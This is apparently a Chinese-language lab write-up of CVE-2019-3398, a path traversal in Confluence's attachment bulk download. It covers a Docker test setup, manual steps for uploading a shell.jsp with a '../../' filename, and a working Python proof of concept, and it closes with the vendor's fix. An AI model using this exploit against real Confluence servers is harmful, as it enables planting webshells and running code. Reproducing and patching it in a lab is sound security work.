1、【CVE编号】
CVE-2019-3398
2、【漏洞名称】
Confluence路径穿越漏洞
3、【靶标分类】
Web类型类靶标
4、【影响版本】
2.0.0 <= version < 6.6.13
6.7.0 <= version < 6.12.4
6.13.0 <= version < 6.13.4
6.14.0 <= version < 6.14.3
6.15.0 <= version < 6.15.2
5、【漏洞分类】
目录穿越
6、【漏洞等级】
高
7、【漏洞简介】
Confluence Server和Data Center在downloadallattachments资源中存在路径穿越漏洞。 在Page或Blogs具有添加附件权限的用户,或具有创建新空间或个人空间权限的用户,或对某空间具有“管理员”权限的用户可利用此路径穿越漏洞将文件写入任意位置。一定条件下可以执行任意代码。
8、【靶标运行环境】
标靶运行操作系统系统:Ubuntu1804 64位
操作系统内核:4.15.0-92-generic
容器版本:confluence 6.13.0
端口号:8090
工具:burpsuite,docker
9、【靶标搭建过程】
1、下载docker环境
docker pull atlassian/confluence-server:6.13.0
2、启动环境
docker run --name confluence2 -p 8090:8090 -dit 2fc70ced2023
3、访问192.168.152.130:8090
不选择进入下一步
4、去申请一个key
5、选择一个虚拟的数据库
6、选择一个示例网站
7、通过confluence创建管理员
8、添加管理员
9、安装完成
10、靶场利用过程
1、创建一个新的项目ceshi
2、上传shell.jsp
3、在filename字段添加…/…/
4、点击下载全部触发漏洞
5、这个时候我们可以看到shell.jsp本应在temp/download2NDvc105653.zi中
但是由于加了…/…/,就穿越到了上两级目录当中
docker exec -it f3bcd43f83cb bash(进入容器)
6、此处有一python可以快速实现此过程
import requests
from bs4 import BeautifulSoup
import base64
url = 'http://192.168.152.130:8090/'
proxies={'http':'http://127.0.0.1:8080'}
values = {'os_username':'admin',
'os_password':'123qweQWE',
'login':'Log+in',
'os_destination':''}
headers = {
'accept': '*/*',
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36'
}
jspshell ='Y3ZlLTIwMTktMzM5OA=='
session = requests.Session()
login = session.post(url + 'dologin.action', headers=headers, data=values)
soup = BeautifulSoup(login.text, 'html.parser')
csrf_token = soup.select_one('meta[name="atlassian-token"]').get('content',None)
createpage = session.get(url + 'pages/createpage.action')
soup = BeautifulSoup(createpage.text, 'html.parser')
draft_id = soup.select_one('meta[name="ajs-draft-id"]').get('content',None)
attach = session.post(url + 'plugins/drag-and-drop/upload.action?draftId=' + draft_id + '&filename=../../test1.jsp&size=13&mimeType=text%2fplain&atl_token=' + csrf_token,headers=headers,data=base64.b64decode(jspshell))
downloadallattachments = session.get(url + 'pages/downloadallattachments.action?pageId=' + draft_id, headers=headers
)
if downloadallattachments.status_code == 200:
print('Success!')
else:
print('Something went wrong.')
7、进入Desktop目录
python3 cve-2019-3398.py
8、查看confluence目录
docker exec -it f3bcd43f83cb bash
11、【解决方案】
从官网下载修复版6.13.4。
对比文件发现,在6.13.4版本的DownloadAllAttachmentsOnPageAction.java文件中,
对attachment.getFileName()得到的字符串进行了过滤
import com.atlassian.confluence.util.io.ConfluenceFileUtils;
ConfluenceFileUtils.extractFileName(attachment.getFileName()))
Referer:
https://xz.aliyun.com/t/4854
https://github.com/superevr/cve-2019-3398/blob/master/poc.py